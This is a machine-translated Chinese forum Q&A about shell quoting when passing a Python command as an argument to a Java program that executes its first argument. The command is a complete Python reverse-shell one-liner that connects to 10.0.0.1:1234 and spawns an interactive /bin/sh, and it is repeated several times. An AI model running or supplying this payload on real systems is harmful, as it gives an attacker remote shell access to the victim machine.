将 Python 语句作为命令行参数传递给 Java 程序



给定以下java代码,如何将以下python语句作为参数传递给java代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

java代码:

import java.io.*;
public class Exec {
    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec(args[0]);
        byte[] b = new byte[1];
        while (p.getErrorStream().read(b) > 0)
            System.out.write(b);
        while (p.getInputStream().read(b) > 0)
            System.out.write(b);
    }
}

我使用以下方法执行 java 代码:

java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

但它抛出syntax error near unexpected token(''。如果我在开头和结尾使用双引号

java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"

它抛出:

  File "<string>", line 1
    'import
          ^
SyntaxError: EOL while scanning string literal

任何帮助都非常感谢。

正如你所指出的,这很令人困惑。您试图将所有内容作为一个参数传递,并且引用变得困难。如果你需要明确的参数,我认为你必须向你的Java程序传递三个参数,即:

  1. -c
  2. 完整剧本引用得当

例如

java Exec python -c "script quoted and escaped properly"

但也许您可以通过运行"python"并传递包含脚本的文件的名称来规避它?(为什么你需要指定"python"和"-c" - 可以在你的程序中硬编码吗?

然而,从根本上说,为什么要使用Java来执行Python程序来生成bash shell?如果你在Java平台上,我会看看如何实现你真正想要的东西,不必使用不同的技术分叉子进程。

相关内容

  • 没有找到相关文章

最新更新